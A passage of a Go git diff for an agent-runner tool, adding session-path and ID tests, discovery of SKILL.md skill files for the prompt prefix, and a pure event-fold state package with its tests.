dir, err := DataDir() + if err != nil { + t.Fatal(err) + } + if !strings.HasSuffix(dir, filepath.Join(".local", "share", "agentrunner")) { + t.Errorf("dir = %q", dir) + } +} + +func TestSessionDirCreated0700(t *testing.T) { + t.Setenv("XDG_DATA_HOME", t.TempDir()) + dir, err := SessionDir("20260703-120000-test") + if err != nil { + t.Fatal(err) + } + info, err := os.Stat(dir) + if err != nil { + t.Fatal(err) + } + if info.Mode().Perm() != 0o700 { + t.Errorf("mode = %o, want 0700", info.Mode().Perm()) + } +} + +func TestNewSessionID(t *testing.T) { + at := time.Date(2026, 7, 3, 12, 30, 45, 0, time.UTC) + cases := []struct{ task, wantPrefix string }{ + {"Fix the failing test!", "20260703-123045-fix-the-failing-test-"}, + {"修复 bug in parser", "20260703-123045-bug-in-parser-"}, + {"???", "20260703-123045-task-"}, + {strings.Repeat("x", 100), "20260703-123045-" + strings.Repeat("x", 30) + "-"}, + } + for _, tc := range cases { + got := NewSessionID(at, tc.task) + if !strings.HasPrefix(got, tc.wantPrefix) || len(got) != len(tc.wantPrefix)+4 { + t.Errorf("NewSessionID(%q) = %q, want prefix %q + 4 hex", tc.task, got, tc.wantPrefix) + } + } + first := NewSessionID(at, "same") + second := NewSessionID(at, "same") + if first == second { + t.Error("same-second ids should differ") + } +} + +func TestProjectConfigPath(t *testing.T) { + if got := ProjectConfigPath("/w"); got != "/w/.agentrunner/settings.yaml" { + t.Errorf("got %q", got) + } +} diff --git a/internal/skill/skill.go b/internal/skill/skill.go new file mode 100644 index 0000000..904a986 --- /dev/null +++ b/internal/skill/skill.go @@ -0,0 +1,112 @@ +// Package skill discovers agent skills by the Claude Code convention +// (S5.2): /.claude/skills//SKILL.md with a YAML frontmatter +// block. Only the DIRECTORY (name + description + path) is injected into the +// prompt prefix; the body is loaded on demand by the model via read_file — +// prefix stability and size both depend on bodies staying out. +package skill + +import ( + "fmt" + "os" + "path/filepath" + "sort" + "strings" + + "gopkg.in/yaml.v3" +) + +// Skill is one discovered skill: directory-level metadata only. +type Skill struct { + Name string `json:"name"` + Description string `json:"description,omitempty"` + // Path is the SKILL.md location relative to the workspace root, so the + // model can read the body on demand with the read_file tool. + Path string `json:"path"` +} + +type frontmatter struct { + Name string `yaml:"name"` + Description string `yaml:"description"` +} + +// Discover walks /.claude/skills for SKILL.md files. A missing skills +// directory is not an error — most workspaces have none. Malformed skills +// are skipped with an error listing them (caller decides whether to warn). +func Discover(root string) ([]Skill, error) { + dir := filepath.Join(root, ".claude", "skills") + entries, err := os.ReadDir(dir) + if err != nil { + if os.IsNotExist(err) { + return nil, nil + } + return nil, fmt.Errorf("skills: %w", err) + } + var out []Skill + var bad []string + for _, e := range entries { + if !e.IsDir() { + continue + } + mdPath := filepath.Join(dir, e.Name(), "SKILL.md") + raw, err := os.ReadFile(mdPath) + if err != nil { + continue // a skills// without SKILL.md is not a skill + } + fm, err := parseFrontmatter(raw) + if err != nil { + bad = append(bad, e.Name()) + continue + } + name := fm.Name + if name == "" { + name = e.Name() // directory name is the fallback identity + } + rel, err := filepath.Rel(root, mdPath) + if err != nil { + rel = mdPath + } + out = append(out, Skill{Name: name, Description: fm.Description, Path: rel}) + } + sort.Slice(out, func(i, j int) bool { return out[i].Name < out[j].Name }) + if len(bad) > 0 { + sort.Strings(bad) + return out, fmt.Errorf("skills: malformed frontmatter in %s", strings.Join(bad, ", ")) + } + return out, nil +} + +// parseFrontmatter extracts the YAML block between the leading "---" fences. +// A SKILL.md without frontmatter is malformed — the description is what the +// directory injection exists for. +func parseFrontmatter(raw []byte) (frontmatter, error) { + s := string(raw) + if !strings.HasPrefix(s, "---\n") && !strings.HasPrefix(s, "---\r\n") { + return frontmatter{}, fmt.Errorf("missing frontmatter fence") + } + rest := s[strings.Index(s, "\n")+1:] + end := strings.Index(rest, "\n---") + if end < 0 { + return frontmatter{}, fmt.Errorf("unterminated frontmatter") + } + var fm frontmatter + if err := yaml.Unmarshal([]byte(rest[:end]), &fm); err != nil { + return frontmatter{}, err + } + return fm, nil +} + +// RenderDirectory renders the skills directory block for the prompt prefix: +// one line per skill, byte-stable (sorted at discovery). Empty input renders +// empty (no block at all). +func RenderDirectory(skills []Skill) string { + if len(skills) == 0 { + return "" + } + var b strings.Builder + b.WriteString("\nAvailable skills (read the file at the given path for full instructions):\n") + for _, s := range skills { + fmt.Fprintf(&b, "- %s: %s (%s)\n", s.Name, s.Description, s.Path) + } + b.WriteString("") + return b.String() +} diff --git a/internal/skill/skill_test.go b/internal/skill/skill_test.go new file mode 100644 index 0000000..e0ee9d0 --- /dev/null +++ b/internal/skill/skill_test.go @@ -0,0 +1,82 @@ +package skill + +import ( + "os" + "path/filepath" + "strings" + "testing" +) + +func writeSkill(t *testing.T, root, dir, content string) { + t.Helper() + d := filepath.Join(root, ".claude", "skills", dir) + if err := os.MkdirAll(d, 0o755); err != nil { + t.Fatal(err) + } + if err := os.WriteFile(filepath.Join(d, "SKILL.md"), []byte(content), 0o644); err != nil { + t.Fatal(err) + } +} + +func TestDiscoverAndRender(t *testing.T) { + root := t.TempDir() + writeSkill(t, root, "deploy", "---\nname: deploy\ndescription: ship it safely\n---\nFull instructions here.\n") + writeSkill(t, root, "review", "---\ndescription: review code\n---\nBody.\n") // name falls back to dir + + skills, err := Discover(root) + if err != nil { + t.Fatal(err) + } + if len(skills) != 2 { + t.Fatalf("skills = %+v", skills) + } + // Sorted by name: deploy, review. + if skills[0].Name != "deploy" || skills[0].Description != "ship it safely" { + t.Errorf("skills[0] = %+v", skills[0]) + } + if skills[1].Name != "review" { + t.Errorf("name fallback to directory failed: %+v", skills[1]) + } + if !strings.HasSuffix(skills[0].Path, filepath.Join("deploy", "SKILL.md")) || + filepath.IsAbs(skills[0].Path) { + t.Errorf("path should be workspace-relative: %q", skills[0].Path) + } + + dir := RenderDirectory(skills) + for _, want := range []string{"", "deploy: ship it safely", "review", ""} { + if !strings.Contains(dir, want) { + t.Errorf("directory missing %q:\n%s", want, dir) + } + } + // The BODY must not leak into the directory (on-demand loading, S5.2). + if strings.Contains(dir, "Full instructions") { + t.Errorf("skill body leaked into the prefix directory:\n%s", dir) + } +} + +func TestDiscoverNoSkillsDir(t *testing.T) { + skills, err := Discover(t.TempDir()) + if err != nil || skills != nil { + t.Fatalf("missing skills dir must be (nil, nil): %v, %v", skills, err) + } +} + +func TestDiscoverMalformedSkillSkipped(t *testing.T) { + root := t.TempDir() + writeSkill(t, root, "good", "---\nname: good\ndescription: fine\n---\n") + writeSkill(t, root, "bad", "no frontmatter at all") + + skills, err := Discover(root) + if err == nil || !strings.Contains(err.Error(), "bad") { + t.Errorf("err = %v, want malformed listing 'bad'", err) + } + if len(skills) != 1 || skills[0].Name != "good" { + t.Errorf("well-formed skill should survive: %+v", skills) + } +} + +func TestRenderDirectoryEmpty(t *testing.T) { + if RenderDirectory(nil) != "" { + t.Error("no skills must render no block") + } +} diff --git a/internal/state/state.go b/internal/state/state.go new file mode 100644 index 0000000..c006099 --- /dev/null +++ b/internal/state/state.go @@ -0,0 +1,701 @@ +// Package state defines the fold: state = fold(Apply, events). Apply is a +// pure function — it never mutates its input (containers are cloned on +// write) and never reads the clock. Everything the loop needs to decide +// its next move lives here, in namespaced sub-states. +package state + +import ( + "encoding/json" + "sort" + "strings" + + "github.com/ralphite/agentrunner/internal/errs" + "github.com/ralphite/agentrunner/internal/event" + "github.com/ralphite/agentrunner/internal/provider" +) + +// SubStateVersions is the schema version of each namespace; the set is +// copied into RunStarted and into every snapshot header. Bump a version +// when a sub-state's shape changes incompatibly. +func SubStateVersions() map[string]int { + return map[string]int{ + "conversation": 1, + "activities": 1, + "waiting": 1, + "timers": 1, + "run": 1, + "effects": 1, // S3.2 (declared in the 2.4 table as an S3 addition) + "mode": 1, // S3.6a + "budget": 1, // S3.7a (reservations; settled usage lives in run) + "compaction": 1, // S4.5 (context-compaction view) + "tasks": 1, // S6.1 (background task set) + } +} + +// Run statuses. +const ( + StatusRunning = "running" + StatusWaiting = "waiting" + StatusEnded = "ended" +) + +type State struct { + Conversation Conversation `json:"conversation"` + Activities Activities `json:"activities"` + Waiting *Waiting `json:"waiting,omitempty"` + Timers Timers `json:"timers"` + Run Run `json:"run"` + Effects Effects `json:"effects"` + // Mode is the current run mode (3.6a); empty folds as "default". + Mode string `json:"mode,omitempty"` + // Budget holds live reservations (3.7a); settled usage is Run.Usage. + Budget Budget `json:"budget"` + // Tasks is the in-flight background task set (S6.1). + Tasks Tasks `json:"tasks"` + // Compaction is the context-compaction view (S4.5): the summary that + // replaces the message prefix and the boundary it replaces up to. The + // full Conversation.Messages slice is kept intact (the log is truth); + // assembly reads the compacted view through this. + Compaction Compaction `json:"compaction"` +} + +// Compaction is the folded result of ContextCompacted (S4.5): messages +// [0:Boundary] are replaced by Summary when assembling the provider request. +// Latest compaction wins — a second compaction re-summarizes (its summary +// already folds in the prior one) and advances the boundary. +type Compaction struct { + Summary string `json:"summary,omitempty"` + Boundary int `json:"boundary,omitempty"` + UptoTurn int `json:"upto_turn,omitempty"` +} + +// Budget is the reservation set: effect_resolved{allow, reserved_tokens} +// adds, the activity's terminal event releases. The budget gate sees +// settled + reserved — the reserve-then-settle discipline is what makes +// concurrent adjudication (S4.3) TOCTOU-safe. +type Budget struct { + Reserved map[string]int `json:"reserved,omitempty"` +} + +// ReservedTotal sums outstanding reservations. +func (b Budget) ReservedTotal() int { + total := 0 + for _, n := range b.Reserved { + total += n + } + return total +} + +// CurrentMode returns the effective mode ("default" when unset). +func (s State) CurrentMode() string { + if s.Mode == "" { + return "default" + } + return s.Mode +} + +// Effects tracks adjudication state (3.2/3.5). Pending: entered the gates, +// no resolution yet (resume in-doubt signal for side-effecting pipelines). +// Allowed: resolved allow but the execution has not reached its terminal +// event — after a crash, adjudication is NOT repeated (an approval already +// granted must not be re-asked). Decisions: the durable human answer to an +// approval, keyed by effect id — set the instant ApprovalResponded is +// journaled, so a crash between the response and EffectResolved never +// re-asks (the answer is authoritative from the moment it is a fact). +type Effects struct { + Pending map[string]event.EffectRequested `json:"pending,omitempty"` + Allowed map[string]bool `json:"allowed,omitempty"` + Decisions map[string]string `json:"decisions,omitempty"` +} + +// EffectIDFromApprovalID recovers the effect id from an approval id +// (approval ids are minted as "apr-"). +func EffectIDFromApprovalID(approvalID string) string { + return strings.TrimPrefix(approvalID, "apr-") +} + +// AwaitingApprovalEffect returns the effect id of the currently parked +// approval, if any. Reaching a WAITING_APPROVAL means every gate — hooks +// included — already ran, so this effect is NOT in-doubt. +func (s State) AwaitingApprovalEffect() string { + if s.Waiting == nil || s.Waiting.Kind != event.WaitApproval { + return "" + } + var req event.ApprovalRequested + if err := json.Unmarshal(s.Waiting.Detail, &req); err != nil { + return "" + } + return req.EffectID +} + +// Conversation is the transcript plus tool results keyed by call_id — +// the 2.10 request assembly reads exactly this. +type Conversation struct { + Messages []provider.Message `json:"messages"` + ToolResults map[string]ToolResult `json:"tool_results"` +} + +type ToolResult struct { + Result json.RawMessage `json:"result,omitempty"` + IsError bool `json:"is_error,omitempty"` +} + +// Activities is the in-flight set (standing hook 3): ActivityStarted adds, +// any terminal event removes. An entry present at resume time IS the +// in-doubt signal (2.15). +type Activities map[string]event.ActivityStarted + +// Tasks is the in-flight BACKGROUND task set (S6.1, the tasks sub-state): +// task_id (= the launching call_id) → the ActivityStarted fact. Folded from +// ActivityStarted{Background}; the activity's terminal event removes it and +// renders the outcome as a user-role input. +type Tasks map[string]event.ActivityStarted + +func (t Tasks) with(id string, v event.ActivityStarted) Tasks { + out := make(Tasks, len(t)+1) + for k, vv := range t { + out[k] = vv + } + out[id] = v + return out +} + +func (t Tasks) without(id string) Tasks { + if _, ok := t[id]; !ok { + return t + } + out := make(Tasks, len(t)) + for k, vv := range t { + if k != id { + out[k] = vv + } + } + return out +} + +// Timers is the pending set; resume reschedules whatever is still here. +type Timers map[string]event.TimerSet + +// Waiting is the parked run (2.14): nil when not waiting. +type Waiting struct { + Kind string `json:"kind"` + Detail json.RawMessage `json:"detail,omitempty"` + Since int64 `json:"since"` // seq of WaitingEntered +} + +type Run struct { + Status string `json:"status"` + SpecName string `json:"spec_name,omitempty"` + Model string `json:"model,omitempty"` + Task string `json:"task,omitempty"` + Version string `json:"version,omitempty"` + Turn int `json:"turn"` + Reason string `json:"reason,omitempty"` + Usage provider.Usage `json:"usage"` + LastCrash string `json:"last_crash,omitempty"` + // MalformedRetries counts consecutive malformed_tool_call finishes on the + // current turn (S4.6). Reset when a turn starts or an assistant message + // lands; the loop escalates to a user-visible error past a bound. + MalformedRetries int `json:"malformed_retries,omitempty"` + // Env is the frozen environment block (S4.4c): rendered once at session + // start and injected verbatim into the prompt prefix on every turn, so + // the cacheable prefix stays byte-stable as the conversation grows. + Env string `json:"env,omitempty"` + // MCPTools is the journaled MCP tool face (S5.1): the schemas discovered + // at session start. The connections themselves are out-of-band runtime + // state; the fold only knows the facts a resume needs to rebuild the + // advertised face and reconcile a re-connect. Sorted by Name. + MCPTools []event.MCPToolDef `json:"mcp_tools,omitempty"` + // Memory and Skills are the frozen prompt-prefix blocks (S5.2), same + // lifecycle as Env. Agents is the sub-agent directory block (S5.3). + Memory string `json:"memory,omitempty"` + Skills string `json:"skills,omitempty"` + Agents string `json:"agents,omitempty"` + // Spawns counts SpawnRequested facts (S5.3): the fan-out gate's input. + Spawns int `json:"spawns,omitempty"` + // Published maps stream → latest published version (S5.5): the outputs + // contract (S5.6) checks required streams against it at the epilogue. + Published map[string]int `json:"published,omitempty"` + // Inputs are the artifact refs to materialize (S5.8, from RunStarted); + // Materialized records that the materialize activity completed, so a + // crash-resume knows whether to (re-)run it (it is idempotent anyway). + Inputs []event.ArtifactInput `json:"inputs,omitempty"` + Materialized bool `json:"materialized,omitempty"` +} + +// New is the empty pre-RunStarted state. +func New() State { + return State{ + Conversation: Conversation{ToolResults: map[string]ToolResult{}}, + Activities: Activities{}, + Timers: Timers{}, + Effects: Effects{ + Pending: map[string]event.EffectRequested{}, + Allowed: map[string]bool{}, + Decisions: map[string]string{}, + }, + Budget: Budget{Reserved: map[string]int{}}, + Tasks: Tasks{}, + } +} + +// Fold folds all events over the empty state. +func Fold(events []event.Envelope) (State, error) { + s := New() + for _, e := range events { + var err error + if s, err = Apply(s, e); err != nil { + return State{}, err + } + } + return s, nil +} + +// Apply folds one event into the state. Pure: the input state is never +// mutated. Unknown event types are an error — facts must not be dropped. +func Apply(s State, env event.Envelope) (State, error) { + decoded, err := event.DecodePayload(env) + if err != nil { + return State{}, err + } + switch p := decoded.(type) { + case *event.RunStarted: + s.Run.Status = StatusRunning + s.Run.SpecName, s.Run.Model, s.Run.Task, s.Run.Version = p.SpecName, p.Model, p.Task, p.Version + s.Run.Env = p.Env + s.Run.Memory, s.Run.Skills, s.Run.Agents = p.Memory, p.Skills, p.Agents + s.Run.Inputs = p.Inputs + + case *event.InputReceived: + // Interrupts are journaled control inputs (journal-inputs-first), + // not conversation content — they never become user messages. + if p.Source != "interrupt" { + s.Conversation = s.Conversation.withMessage(provider.Message{ + Role: provider.RoleUser, + Parts: []provider.Part{{Kind: provider.PartText, Text: p.Text}}, + }) + } + + case *event.TurnStarted: + s.Run.Turn = p.Turn + s.Run.MalformedRetries = 0 + + case *event.AssistantMessage: + s.Conversation = s.Conversation.withMessage(p.Message) + s.Run.MalformedRetries = 0 + + case *event.MalformedToolCall: + s.Run.MalformedRetries++ + + case *event.SpawnRequested: + s.Run.Spawns++ + + case *event.SubagentCompleted: + // Informational (inspect's tree render reads it from the log); the + // parent's accounting settles through the spawn activity's + // ActivityCompleted, never here. + + case *event.ArtifactPublished: + // Copy-on-write: Apply is pure, the input map must not mutate. + published := make(map[string]int, len(s.Run.Published)+1) + for k, v := range s.Run.Published { + published[k] = v + } + published[p.Stream] = p.Version + s.Run.Published = published + + case *event.ToolsDiscovered: + // Replace this server's tools (re-discovery wins), keep other + // servers', and keep the whole face sorted by name — a stable face + // keeps the advertised tool list (and thus the prompt) stable. + kept := make([]event.MCPToolDef, 0, len(s.Run.MCPTools)+len(p.Tools)) + for _, t := range s.Run.MCPTools { + if t.Server != p.Server { + kept = append(kept, t) + } + } + kept = append(kept, p.Tools...) + sort.Slice(kept, func(i, j int) bool { return kept[i].Name < kept[j].Name }) + s.Run.MCPTools = kept + + case *event.ContextCompacted: + // The full message log stays intact (truth); the boundary freezes at + // the message count folded so far, and assembly reads only + // messages[Boundary:] preceded by Summary. Latest compaction wins. + s.Compaction = Compaction{ + Summary: p.Summary, + Boundary: len(s.Conversation.Messages), + UptoTurn: p.UptoTurn, + } + + case *event.ActivityStarted: + s.Activities = s.Activities.with(p.ActivityID, *p) + if p.Background && p.CallID != "" { + // The handle IS this event's fold rendering (S6.1): the call + // pairs immediately, and the task enters the tasks sub-state. + s.Tasks = s.Tasks.with(p.CallID, *p) + handle, _ := json.Marshal(map[string]string{ + "task_id": p.CallID, "status": "running", + }) + s.Conversation = s.Conversation.withToolResult(p.CallID, + ToolResult{Result: handle}) + } + + case *event.ActivityCompleted: + started, inFlight := s.Activities[p.ActivityID] + s.Activities = s.Activities.without(p.ActivityID) + s.Effects = s.Effects.withoutAllowed(effectIDFor(started, p.ActivityID)) + s.Budget = s.Budget.release(effectIDFor(started, p.ActivityID)) + if p.Usage != nil { + s.Run.Usage = addUsage(s.Run.Usage, *p.Usage) + } + if p.ActivityID == "materialize" { + s.Run.Materialized = true // artifact inputs are in the workspace (S5.8) + } + if inFlight && started.Background && started.CallID != "" { + // A background task's outcome arrives as a USER-role input + // (S6.1): the handle already paired the call at start; the + // result becomes conversation the model sees next turn. + s.Tasks = s.Tasks.without(started.CallID) + s.Conversation = s.Conversation.withMessage(taskOutcomeMessage( + started.CallID, "completed", string(p.Result))) + } else if inFlight && started.Kind == event.KindTool && started.CallID != "" { + s.Conversation = s.Conversation.withToolResult(started.CallID, + ToolResult{Result: p.Result, IsError: p.IsError}) + } + // The mode transition is folded from exit_plan_mode's OWN completion + // so it is atomic — a crash can never leave the tool result saying + // "now in default mode" while s.Mode is still "plan" (correctness + // review #2). The gate already guarantees this only fires from plan. + if inFlight && started.Name == "exit_plan_mode" && !p.IsError { + s.Mode = "" + } + + case *event.ActivityFailed: + if !p.Final { + // Mid-retry: the entry STAYS in flight — a crash in the backoff + // window must surface as in-doubt for non-idempotent activities + // instead of silently re-running (S3 回访项); the next Started + // overwrites it. + break + } + started, inFlight := s.Activities[p.ActivityID] + s.Activities = s.Activities.without(p.ActivityID) + s.Budget = s.Budget.release(effectIDFor(started, p.ActivityID)) + if inFlight && started.Background && started.CallID != "" { + s.Tasks = s.Tasks.without(started.CallID) + s.Conversation = s.Conversation.withMessage(taskOutcomeMessage( + started.CallID, "failed", + string(errs.RenderForModel(errs.Class(p.Error.Class), p.Error.Message)))) + } else if inFlight && started.Kind == event.KindTool && started.CallID != "" { + // The rendered failure IS the call's model-visible result: the + // loop continues, the model reacts (3.9). + s.Conversation = s.Conversation.withToolResult(started.CallID, + ToolResult{Result: errs.RenderForModel(errs.Class(p.Error.Class), p.Error.Message), IsError: true}) + } + + case *event.ActivityCancelled: + // A cancelled tool call resolves to a model-visible error result: + // decide() must never see it as "still pending" — a crash after + // this event would otherwise re-run a provably half-executed + // effect on resume. The rendering matches the 3.5 contract. + started, inFlight := s.Activities[p.ActivityID] + s.Activities = s.Activities.without(p.ActivityID) + s.Effects = s.Effects.withoutAllowed(effectIDFor(started, p.ActivityID)) + s.Budget = s.Budget.release(effectIDFor(started, p.ActivityID)) + if p.Usage != nil { + // Tokens spent before the cancellation are real spend (S5). + s.Run.Usage = addUsage(s.Run.Usage, *p.Usage) + } + if inFlight && started.Background && started.CallID != "" { + s.Tasks = s.Tasks.without(started.CallID) + s.Conversation = s.Conversation.withMessage(taskOutcomeMessage( + started.CallID, "canceled", p.PartialOutput)) + } else if inFlight && started.Kind == event.KindTool && started.CallID != "" { + result, _ := json.Marshal(map[string]string{ + "error": "[interrupted by user]", + "partial_output": p.PartialOutput, + }) + s.Conversation = s.Conversation.withToolResult(started.CallID, + ToolResult{Result: result, IsError: true}) + } + + case *event.TimerSet: + s.Timers = s.Timers.with(p.TimerID, *p) + + case *event.TimerFired: + s.Timers = s.Timers.without(p.TimerID) + + case *event.TimerCancelled: + s.Timers = s.Timers.without(p.TimerID) + + case *event.WaitingEntered: + s.Waiting = &Waiting{Kind: p.Kind, Detail: p.Detail, Since: env.Seq} + s.Run.Status = StatusWaiting + + case *event.WaitingResolved: + s.Waiting = nil + s.Run.Status = StatusRunning + + case *event.EffectRequested: + s.Effects = s.Effects.withPending(p.EffectID, *p) + + case *event.EffectResolved: + s.Effects = s.Effects.withoutPending(p.EffectID).withoutDecision(p.EffectID) + if p.Verdict == event.VerdictAllow { + s.Effects = s.Effects.withAllowed(p.EffectID) + if p.ReservedTokens > 0 { + s.Budget = s.Budget.withReservation(p.EffectID, p.ReservedTokens) + } + } + // A denial IS the call's model-visible outcome: journaling it + // resolves the call_id, so decide() never re-attempts a denied + // effect (and a post-deny crash resumes past it). + if p.Verdict == event.VerdictDeny && p.CallID != "" { + reason := deniedReason(p.GateResults) + result, _ := json.Marshal(map[string]string{"error": "denied: " + reason}) + s.Conversation = s.Conversation.withToolResult(p.CallID, + ToolResult{Result: result, IsError: true}) + } + + case *event.ApprovalRequested: + // The request itself is audit; the wait it enters carries the state. + + case *event.ApprovalResponded: + // The human answer is authoritative the moment it is a fact: record + // it and clear the approval wait here, so a crash before the derived + // waiting_resolved / effect_resolved never re-asks (correctness #1/#3). + s.Effects = s.Effects.withDecision(EffectIDFromApprovalID(p.ApprovalID), p.Decision) + if s.Waiting != nil && s.Waiting.Kind == event.WaitApproval { + s.Waiting = nil + s.Run.Status = StatusRunning + } + + case *event.ModeChanged: + s.Mode = p.To + + case *event.LimitExceeded: + // Audit fact; the terminal state lands via RunEnded. + + case *event.TurnDiscarded: + // Surface signal + audit only: no fold state to undo (the discarded + // turn never produced a durable assistant_message). + + case *event.ActorCrashed: + s.Run.LastCrash = p.Actor + ": " + p.Error + + case *event.RunEnded: + s.Run.Status = StatusEnded + s.Run.Reason = p.Reason + s.Run.Turn = p.Turns + + default: + // A type registered in event.Registry but missing here. + return State{}, &UnhandledEventError{Type: env.Type} + } + return s, nil +} + +// UnhandledEventError means event.Registry and Apply drifted apart. +type UnhandledEventError struct{ Type string } + +func (e *UnhandledEventError) Error() string { + return "state: registered event type has no fold case: " + e.Type +} + +// taskOutcomeMessage renders a background task's terminal outcome as the +// user-role input the model sees next turn (S6.1). +func taskOutcomeMessage(taskID, status, body string) provider.Message { + return provider.Message{Role: provider.RoleUser, Parts: []provider.Part{{ + Kind: provider.PartText, + Text: "[background task " + taskID + " " + status + "]\n" + body, + }}} +} + +func deniedReason(results []event.GateResult) string { + for _, r := range results { + if r.Decision == event.VerdictDeny { + if r.Reason != "" { + return r.Reason + } + return "blocked by " + r.Gate + } + } + return "policy" +} + +func addUsage(a, b provider.Usage) provider.Usage { + a.InputTokens += b.InputTokens + a.OutputTokens += b.OutputTokens + a.CacheReadTokens += b.CacheReadTokens + a.CacheWriteTokens += b.CacheWriteTokens + return a +} + +// --- copy-on-write helpers (Apply purity) --- + +func (c Conversation) withMessage(m provider.Message) Conversation { + msgs := make([]provider.Message, len(c.Messages), len(c.Messages)+1) + copy(msgs, c.Messages) + c.Messages = append(msgs, m) + return c +} + +func (c Conversation) withToolResult(callID string, r ToolResult) Conversation { + results := make(map[string]ToolResult, len(c.ToolResults)+1) + for k, v := range c.ToolResults { + results[k] = v + } + results[callID] = r + c.ToolResults = results + return c +} + +func (a Activities) with(id string, v event.ActivityStarted) Activities { + out := make(Activities, len(a)+1) + for k, x := range a { + out[k] = x + } + out[id] = v + return out +} + +func (a Activities) without(id string) Activities { + if _, ok := a[id]; !ok { + return a + } + out := make(Activities, len(a)) + for k, x := range a { + if k != id { + out[k] = x + } + } + return out +} + +func (b Budget) withReservation(id string, tokens int) Budget { + out := make(map[string]int, len(b.Reserved)+1) + for k, v := range b.Reserved { + out[k] = v + } + out[id] = tokens + b.Reserved = out + return b +} + +func (b Budget) release(id string) Budget { + if _, ok := b.Reserved[id]; !ok { + return b + } + out := make(map[string]int, len(b.Reserved)) + for k, v := range b.Reserved { + if k != id { + out[k] = v + } + } + b.Reserved = out + return b +} + +// effectIDFor recovers the effect id from an activity's identity (the +// eff- / eff-llm-t convention). +func effectIDFor(started event.ActivityStarted, activityID string) string { + if started.CallID != "" { + return "eff-tool-" + started.CallID + } + return "eff-" + activityID +} + +func (e Effects) withPending(id string, v event.EffectRequested) Effects { + out := make(map[string]event.EffectRequested, len(e.Pending)+1) + for k, x := range e.Pending { + out[k] = x + } + out[id] = v + e.Pending = out + return e +} + +func (e Effects) withoutPending(id string) Effects { + if _, ok := e.Pending[id]; !ok { + return e + } + out := make(map[string]event.EffectRequested, len(e.Pending)) + for k, x := range e.Pending { + if k != id { + out[k] = x + } + } + e.Pending = out + return e +} + +func (e Effects) withDecision(id, decision string) Effects { + out := make(map[string]string, len(e.Decisions)+1) + for k, v := range e.Decisions { + out[k] = v + } + out[id] = decision + e.Decisions = out + return e +} + +func (e Effects) withoutDecision(id string) Effects { + if _, ok := e.Decisions[id]; !ok { + return e + } + out := make(map[string]string, len(e.Decisions)) + for k, v := range e.Decisions { + if k != id { + out[k] = v + } + } + e.Decisions = out + return e +} + +func (e Effects) withAllowed(id string) Effects { + out := make(map[string]bool, len(e.Allowed)+1) + for k := range e.Allowed { + out[k] = true + } + out[id] = true + e.Allowed = out + return e +} + +func (e Effects) withoutAllowed(id string) Effects { + if _, ok := e.Allowed[id]; !ok { + return e + } + out := make(map[string]bool, len(e.Allowed)) + for k := range e.Allowed { + if k != id { + out[k] = true + } + } + e.Allowed = out + return e +} + +func (t Timers) with(id string, v event.TimerSet) Timers { + out := make(Timers, len(t)+1) + for k, x := range t { + out[k] = x + } + out[id] = v + return out +} + +func (t Timers) without(id string) Timers { + if _, ok := t[id]; !ok { + return t + } + out := make(Timers, len(t)) + for k, x := range t { + if k != id { + out[k] = x + } + } + return out +} diff --git a/internal/state/state_test.go b/internal/state/state_test.go new file mode 100644 index 0000000..3596315 --- /dev/null +++ b/internal/state/state_test.go @@ -0,0 +1,303 @@ +package state + +import ( + "encoding/json" + "errors" + "reflect" + "strings" + "testing" + + "github.com/ralphite/agentrunner/internal/event" + "github.com/ralphite/agentrunner/internal/provider" +) + +func env(t *testing.T, typ string, payload any) event.Envelope { + t.Helper() + e, err := event.New(typ, payload) + if err != nil { + t.Fatal(err) + } + return e +} + +// A representative full run: start → input → turn → LLM activity → +// assistant message with a tool call → tool activity → result → end. +func runEvents(t *testing.T) []event.Envelope { + t.Helper() + usage := &provider.Usage{InputTokens: 10, OutputTokens: 5} + asst := provider.Message{Role: provider.RoleAssistant, Parts: []provider.Part{ + {Kind: provider.PartToolCall, CallID: "call_1_0", ToolName: "read_file", + Args: json.RawMessage(`{"path":"a.go"}`)}, + }} + events := []event.Envelope{ + env(t, event.TypeRunStarted, &event.RunStarted{SpecName: "hello", Model: "m", + Task: "fix", Version: "dev", SubStateVersions: SubStateVersions()}), + env(t, event.TypeInputReceived, &event.InputReceived{Text: "fix", Source: "cli"}), + env(t, event.TypeTurnStarted, &event.TurnStarted{Turn: 1}), + env(t, event.TypeActivityStarted, &event.ActivityStarted{ + ActivityID: "llm-t1", Kind: event.KindLLM, Name: "complete", Attempt: 1}), + env(t, event.TypeActivityCompleted, &event.ActivityCompleted{ + ActivityID: "llm-t1", Usage: usage}), + env(t, event.TypeAssistantMessage, &event.AssistantMessage{Turn: 1, Message: asst}), + env(t, event.TypeActivityStarted, &event.ActivityStarted{ + ActivityID: "tool-call_1_0", Kind: event.KindTool, Name: "read_file", + CallID: "call_1_0", Attempt: 1}), + env(t, event.TypeActivityCompleted, &event.ActivityCompleted{ + ActivityID: "tool-call_1_0", Result: json.RawMessage(`{"content":"pkg"}`)}), + env(t, event.TypeRunEnded, &event.RunEnded{Reason: "completed", Turns: 1, + Usage: *usage}), + } + for i := range events { + events[i].Seq = int64(i + 1) + events[i].ID = event.EventID(int64(i + 1)) + } + return events +} + +func TestFoldFullRun(t *testing.T) { + s, err := Fold(runEvents(t)) + if err != nil { + t.Fatal(err) + } + if s.Run.Status != StatusEnded || s.Run.Reason != "completed" || s.Run.Turn != 1 { + t.Errorf("run = %+v", s.Run) + } + if s.Run.Usage.InputTokens != 10 || s.Run.Usage.OutputTokens != 5 { + t.Errorf("usage = %+v", s.Run.Usage) + } + if len(s.Conversation.Messages) != 2 { + t.Fatalf("messages = %d, want user + assistant", len(s.Conversation.Messages)) + } + tr, ok := s.Conversation.ToolResults["call_1_0"] + if !ok || tr.IsError || string(tr.Result) != `{"content":"pkg"}` { + t.Errorf("tool result = %+v (ok=%v)", tr, ok) + } + if len(s.Activities) != 0 { + t.Errorf("in-flight not drained: %+v", s.Activities) + } +} + +// fold(all) == Apply-tail-onto-fold(prefix) — the snapshot-resume +// equivalence property, checked at every split point. +func TestFoldSnapshotEquivalence(t *testing.T) { + events := runEvents(t) + want, err := Fold(events) + if err != nil { + t.Fatal(err) + } + for k := 0; k <= len(events); k++ { + got, err := Fold(events[:k]) + if err != nil { + t.Fatal(err) + } + for _, e := range events[k:] { + if got, err = Apply(got, e); err != nil { + t.Fatal(err) + } + } + if !reflect.DeepEqual(got, want) { + t.Fatalf("split at %d diverges:\n got %+v\nwant %+v", k, got, want) + } + } +} + +// Apply must not mutate its input state. +func TestApplyIsPure(t *testing.T) { + events := runEvents(t) + s, err := Fold(events[:6]) // mid-run, non-empty containers + if err != nil { + t.Fatal(err) + } + before, err := json.Marshal(s) + if err != nil { + t.Fatal(err) + } + for _, 